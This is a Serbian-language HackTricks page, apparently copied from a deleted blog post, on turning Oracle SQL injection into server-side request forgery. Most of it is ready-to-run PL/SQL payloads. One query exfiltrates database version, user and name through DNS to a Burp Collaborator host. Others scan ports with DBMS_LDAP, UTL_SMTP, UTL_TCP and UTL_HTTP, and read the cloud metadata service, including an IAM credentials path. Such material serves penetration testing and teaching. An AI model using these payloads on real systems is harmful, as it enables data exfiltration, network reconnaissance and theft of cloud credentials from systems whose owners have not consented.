# Oracle ubacivanje
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
**Poslužite ovaj post kao kopiju izbrisane objave sa [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Korišćenje Oracle-a za izvršavanje HTTP i DNS zahteva van opsega je dobro dokumentovano, ali kao sredstvo za izvlačenje SQL podataka kod ubacivanja. Uvek možemo izmeniti ove tehnike/funkcije da bismo izvršili druge SSRF/XSPA napade.
Instalacija Oracle-a može biti veoma bolna, posebno ako želite da brzo postavite instancu kako biste isprobali komande. Moj prijatelj i kolega sa [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), uputio me je na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) što mi je omogućilo da postavim instancu na t2.large AWS Ubuntu mašini i Docker-u.
Pokrenuo sam docker komandu sa `--network="host"` zastavicom kako bih mogao da imitiram Oracle kao lokalnu instalaciju sa punim pristupom mreži, tokom pisanja ovog blog posta.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle paketi koji podržavaju URL ili specifikaciju Hostname/Port broja
Kako bih pronašao bilo koje pakete i funkcije koje podržavaju specifikaciju hosta i porta, izvršio sam Google pretragu na [Oracle Database Online dokumentaciji](https://docs.oracle.com/database/121/index.html). Konkretno,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Pretraga je vratila sledeće rezultate (ne svi mogu se koristiti za izvršavanje izlazne mreže)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Ova grublja pretraga očigledno preskače pakete poput `DBMS_LDAP` (koji omogućava prosleđivanje imena hosta i broja porta) jer [stranica sa dokumentacijom](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) jednostavno vas upućuje na [drugom mestu](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Dakle, mogu postojati i drugi Oracle paketi koji se mogu zloupotrebiti za izvršavanje izlaznih zahteva koje sam možda propustio.
U svakom slučaju, pogledajmo neke od paketa koje smo otkrili i naveli gore.
**DBMS\_LDAP.INIT**
Paket `DBMS_LDAP` omogućava pristup podacima sa LDAP servera. Funkcija `init()` inicijalizuje sesiju sa LDAP serverom i kao argument prima ime hosta i broj porta.
Ova funkcija je već dokumentovana kako bi pokazala eksfiltraciju podataka putem DNS-a, kao što je prikazano ispod
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Međutim, s obzirom da funkcija prihvata ime hosta i broj porta kao argumente, možete je koristiti i kao skener porta.
Evo nekoliko primera:
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Inicijalizacija nije uspela.` pokazuje da je port zatvoren dok vrednost sesije ukazuje na otvoren port.
**UTL\_SMTP**
Paket `UTL_SMTP` je dizajniran za slanje e-mailova preko SMTP-a. Primer koji je prikazan na [Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za slanje e-maila](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Za nas, međutim, interesantna stvar je mogućnost pružanja specifikacije hosta i porta.
Jednostavan primer je prikazan ispod sa funkcijom `UTL_SMTP.OPEN_CONNECTION`, sa vremenom isteka od 2 sekunde.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: prenos prekinut` pokazuje da je port otvoren, ali nije uspostavljena SMTP veza, dok `ORA-29278: SMTP privremena greška: 421 Servis nije dostupan` pokazuje da je port zatvoren.
**UTL\_TCP**
Paket `UTL_TCP` i njegove procedure i funkcije omogućavaju komunikaciju zasnovanu na TCP/IP protokolu sa servisima. Ako je programiran za određeni servis, ovaj paket može lako postati put za ulazak u mrežu ili izvršavanje zahteva sa serverske strane, jer se mogu kontrolisati svi aspekti TCP/IP veze.
Primer na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za uspostavljanje sirove TCP veze radi preuzimanja web stranice. Možemo ga jednostavnije koristiti za slanje zahteva ka instanci metapodataka, na primer, ili ka proizvoljnom TCP/IP servisu.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
Interesantno je da, zbog mogućnosti oblikovanja sirovih TCP zahteva, ovaj paket takođe može da se koristi za upitivanje usluge meta-podataka instance svih provajdera oblaka, jer se tip metode i dodatni zaglavlja mogu proslediti unutar TCP zahteva.
**UTL\_HTTP i veb zahtevi**
Možda najčešća i najšire dokumentovana tehnika u svakom tutorijalu za Oracle SQL Injection van opsega je [`UTL_HTTP` paket](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ovaj paket je definisan dokumentacijom kao - `Paket UTL_HTTP omogućava izvršavanje HTTP poziva iz SQL i PL/SQL. Možete ga koristiti za pristupanje podacima na internetu preko HTTP protokola.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Možete dodatno koristiti ovo da biste izvršili neke osnovne skeniranje portova koristeći upite poput
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` ili `TNS:operation timed out` je znak da je TCP port zatvoren, dok je `ORA-29263: HTTP protocol error` ili podaci znak da je port otvoren.
Još jedan paket koji sam koristio u prošlosti sa različitim uspehom je [`GETCLOB()` metoda Oracle apstraktne vrste `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) koja vam omogućava interakciju sa URL-om i pruža podršku za HTTP protokol. Metoda `GETCLOB()` se koristi za dobijanje GET odgovora sa URL-a kao [CLOB podatkovnog tipa.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.